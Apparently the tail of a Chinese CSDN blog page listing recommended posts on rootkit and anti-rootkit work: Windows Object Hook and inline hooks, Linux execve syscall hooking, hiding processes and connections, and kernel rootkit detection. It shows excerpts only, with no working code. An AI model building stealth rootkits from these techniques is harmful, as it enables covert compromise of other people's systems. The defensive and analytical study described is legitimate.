Object Hook是通过挂钩OBJECT_HEADER其中一些字段来实现的。在Windows中通过对象管理器来管理所有对象,可以使用WinObj来观察一下WinXP SP3下的对象类型: Windows中包含三种对象: 执行体对象 内核对象 GDI/User对象 这里我们挂钩的就是执行体对象。 这里实验机器是WinXP SP3, 首先来看一下进程对象的数据结构: 然后随便找一个进程对象,寻找他的对象结构体,比如之前打开的WinObj进程, 通过!object命令查找到了其进

輚至消亡 845

关于rootkit和anti-rootkit的一些思考(一)

       作了进两个月的rootkit和anti-rootkit,不免有很多思考。你一直在想握着篇文章算是什么类型的呢,心得,算不上,讲技术的,更不说,就叫日志吧。如果你不幸看到这篇文章,发现几乎没有叫的是对的,请不要大惊小怪。当然我更欢迎你指出。       说道rootkit和anti-rootkit,我想有一个不能不说的是hook。很多rootkit和anti-rootkit产品都在

MTrickster的专栏 1231

在Linux上Hook系统函数execve获取执行参数-Rootkit

在Linux上Hook系统函数execve获取执行参数 根据linux系统在32位平台还是64位平台分别进行了hook代码的编写和测试,该功能是常见的rootkit技术 针对32位平台的Hook代码如下,已经在ubuntu12.04上测试过: /* * This kernel module locates the sys_call_table by scanning * the syste...

daizhongyin的专栏 3114

rootkit hook之[三] inline hook

 作 者: combojiang时 间: 2008-01-30,17:27链 接: http://bbs.pediy.com/showthread.php?t=59127最近为了写好rootkit inline hook篇,特意A了著名的流氓软件(cdnprot.sys),这个文件很庞大,有152k之多, 花费了我好几个晚上的时间,让我少看好多集的电视剧《闯关东》,在这个软件里面用了很多好的技术,

1147

【解读黑客】何为Rootkit?

1、何为Rootkit?(结合AIDS加深理解) Rootkit自身也是木马后门或恶意程序的一类,只是,它很特殊,为什么呢?因为,你无法找到它。 正如自然界的规则一样,最流行的病毒,对生物的伤害却是最小的,例如一般的感冒,但是最不流行的病毒,却是最夺命的。Rootkit木马就是信息世界里的 AIDS(爱滋病),一旦感染,就难以用一般手段消灭了,因为它和自然界里的同类做的事情一样,破坏了系统...

茗染云华 荆挑赋樱 1875

如何检测Linux内核的Rootkit

最近一段时间搞了些Rootkit攻略,每个方法都比较彻底,无论是隐藏进程,还是隐藏CPU利用率,隐藏TCP连接,隐藏文件,甚至隐藏CPU风扇的狂转,均采用了相对底层的方案,一般的Rootkit检测很难检测到。 所谓的一般的Rootkit就是那些通常的hook,比方说hook系统调用,hook proc/sys接口,hook library等等,但是这些均是掩耳盗铃的鸵鸟策略,均不彻底。针对这些Ro...

TCP/IP 3814
上一篇: Kernel-mode API spying - an ultimate hack
下一篇: flash漏洞所用shellcode的分析
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值